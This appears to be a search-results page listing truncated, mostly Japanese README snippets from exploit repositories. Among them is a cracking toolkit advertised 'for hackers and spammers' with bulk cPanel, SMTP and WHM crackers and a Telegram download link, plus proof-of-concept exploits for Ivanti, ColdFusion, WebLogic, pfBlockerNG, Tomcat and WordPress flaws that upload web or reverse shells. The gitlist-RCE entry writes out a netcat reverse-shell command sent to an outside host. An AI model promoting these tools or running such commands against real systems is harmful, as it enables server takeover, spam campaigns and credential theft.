2134 matches found
xCrack Python Tools For Hackers
TG ダウンロードリンク: https://t.me/+0z9FapS4mBgyZjhl xCrack ハッカーとスパマーのための Python ハッキングツール 必要条件: Python 3.x テスト環境: Python 3.10.4 ► cPanel セクション ◄ 一括 cPanel アクティブチェッカー 一括 cPanel からシェルへのアップローダー 一括 cPanel から SMTP へのクラッカー 一括 cPanel から Webmail へのクラッカー 一括 cPanel から WHM へのクラッカー Reseller 一括 cPanel から WHM へのクラッカー...
Cgi-Exploit-Jp-Shell-Upload
Cgi-Exploit-Jp-Shell-Upload Python 2.7 お読みください： このPythonツールをエディタで開いたり、コードを削除したりしないでください。エラーが発生する原因になります。エラーが発生した場合は、このGithubから再インストールしてください。ありがとうございます。 また、サンプルサイトの前にはhttp://を使用してください http://site.com 寄付： BTC：31mtLHqhaXXyCMnT2EU73U8fwYwigiEEU1 Perfect Money：U22270614...
CVE-2025-0282-Ivanti-exploit
CVE-2025-0282-Ivanti-exploit CVE-2025-0282 は、Ivanti Connect Secure で見つかった重大な脆弱性であり、バッファオーバーフローを悪用したリモートコマンド実行 RCE を可能にします。 この脆弱性により、攻撃者は悪意のあるファイル（例：Web シェル）をアップロードし、昇格した特権でターゲットシステム上でコマンドを実行できます。 悪用のリスクを軽減するために、影響を受けるシステムを最新バージョンに更新することを強く推奨します。 Web シェルのアップロード ターゲットシステムに Web...
RCE
CVE-2022-31814 WebAppのバグ import argparse import requests import time import sys import urllib.parse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disablewarningsInsecureRequestWarning parser = argparse.ArgumentParserdescription="pfBlockerNG =...
ICG-AutoExploiterBoT
ICG-AutoExploiterBoT ❗ 44行目を編集し、Add admin joomla Exploit用にメールアドレスを追加してください Outlook.comメールを使用！ ✔️ :warning:注記！: いかなる違法な使用に対しても責任を負いません。 AutoExploiterは現在動作していません！ このソフトウェアのアップデートをお待ちください！ AutoExploiterは現在動作していません！ このソフトウェアのアップデートをお待ちください！ AutoExploiterは現在動作していません！ このソフトウェアのアップデートをお待ちください！ - Python...
CVE-2018-15961
CVE-2018-15961 - Adobe ColdFusion RCE このリポジトリには、Adobe ColdFusion 2021 の RCE 脆弱性に対するエクスプロイトコードが含まれています。 エクスプロイトの説明 エクスプロイトは、JSP リバースシェルを含む POST リクエストを /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm に送信します。成功すると、シェルが...
CVE-2023-26469
CVE-2023-26469 REC PoC このリポジトリには、CVE-2023-26469 のエクスプロイトスクリプトが含まれています。この脆弱性により、攻撃者はパストラバーサルを利用してサーバー上のファイルにアクセスし、コードを実行することができます Jorani 1.0.0。さらに、スクリプトにはシェルアップロード機能が含まれており、さらなる悪用が可能です。 エクスプロイト概要 CVE-2023-26469 : Jorani 1.0.0 でリモートコード実行を可能にする重大な脆弱性です。詳細は NVD レポート を参照してください。 免責事項...
CVE-2018-2628
CVE-2018-2628 WebLogic の逆シリアル化脆弱性再現 weblogic getshell python CVE-2018-2628-Getshell.py ip port shell1.jsp C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || | | / / | | | | \ / / | |/ /| | | || | usage:...
WordPress SP Project & Document Manager <4.22 - Authenticated Shell Upload
WordPress SP Project & Document Manager plugin before 4.22 is susceptible to authenticated shell upload. The plugin allows users to upload files; however, the plugin attempts to prevent PHP and other similar executable files from being uploaded via checking the file extension. PHP files can still...
CVE-2020-24186_reverse_shell_upload
CVE-2020-24186 リバースシェルアップロード h3v0x 氏による エクスプロイト に基づいた WpDiscuz 7.0.4 用のエクスプロイト。 脆弱性を悪用し、リバース PHP シェルをアップロードします。着想は Blogger CTF から得ました。 exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 使用例:...
CVE-2024-10793
CVE-2024-10793 PoC 以下の行を hosts ファイルに設定してください: 127.0.0.1 goodcms.lab 127.0.0.1 attacker.com docker を使用して Wordpress を起動します: $ sudo systemctl start docker $ sudo docker-compose up -d http://goodcms.lab:2121 を開き、wordpress のインストール手順を実行してください。 wordpress に wp-security-audit-log.5.2.1...
warsend
WARSend Apache Tomcat Manager API を使用した WAR シェルアップロード 前提条件 認証情報 Tomcat Manager への Text API アクセス $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // / |/|// |// ||//// //,/...
CVE-2018-2380
CVE-2018-2380 CVSS v3 Base Score: 6.6/10 SAP NetWeaver AS JAVA CRM上のログインジェクションを介したリモートコマンド実行のPoC スクリプト使用例 python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true ここで --host はSAPサーバーのIP --port SAP NetWeaver AS Javaのポート...
CVE-2025-53770-Scanner
CVE-2025-53770 スキャナー DanSec による CVE-2025-53770 の重要な SharePoint 脆弱性への潜在的な露出を特定するための、シンプルで効果的な偵察ツール。 !Warning このツールは、許可されたテスト目的のみに使用されることを意図しています。 作者（DanSec）は、無許可のスキャンや使用によって引き起こされる誤用や損害について一切責任を負いません。このツールを使用する前に、スキャン対象のドメインまたはサービスに対する明示的な許可を得てください。 CVE-2025-53770 について CVE-2025-53770（"ToolShell"）...
CVE-2024-50379-POC
CVE-2024-50379-POC このリポジトリには、CVE-2024-50379 を悪用する Python スクリプトが含まれています。この脆弱性を利用すると、攻撃者は脆弱なサーバーに JSP シェルをアップロードし、リモートで任意のコマンドを実行できます。このエクスプロイトは、対象サーバーの /uploads ディレクトリが保護されていない、または存在しない場合に特に有用です。 概要 CVE-2024-50379 は、ファイルアップロードを適切に処理しないサーバーに影響を与える脆弱性であり、攻撃者が JSP...
CVE-2023-6875
エクスプロイトの動作 メールを閲覧可能にするトークンを配置します。 管理者のユーザー名を検索します。見つからない場合はデフォルトとして"admin"を設定します。 管理者のパスワードリセット用リンクをリクエストし、それが管理者にメール送信されます。 最初のステップで配置したトークンを使用してメールログを調査します。 最新のログを選択します。そこにはパスワードリセット用リンクが含まれています。 前のステップで取得したリンクを使用してパスワードをリセットします。 管理者としてログインします。 シェル shell.zip という名前のファイルで、シェルを含む をアップロードします。 使用方法 ...
gitlist-RCE
gitlist-RCE CVE-2014-4511 例: シェルアップロード成功後: アクセス: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...
CVE-2022-31814
pfBlockerNG = 2.1.426 Unauth RCE このスクリプトは、pfBlockerNG = 2.1.426 に対する Proof-of-Concept エクスプロイトであり、リモートコード実行を可能にします。単一のターゲットURLまたはURLリストを受け取り、シェルをアップロードしてコマンドを実行し、その後シェルを削除します。 必要条件 このスクリプトには Python 3.x と requests および concurrent.futures モジュールが必要です。これらのモジュールは以下のコマンドでインストールできます： pip3 install requests...
CVE-2019-8943
CVE-2019-8943 WordPress 5.0.0 - 画像を利用したリモートコード実行 python を使用した CVE-2019-8942 および CVE-2019-8943 のエクスプロイト : ExploitDB : https://www.exploit-db.com/exploits/49512 metasploit 用の元のエクスプロイト : WordPress Core 5.0.0 - Crop-image Shell Upload Metasploit : https://www.exploit-db.com/exploits/46662 ビデオ : 説明:...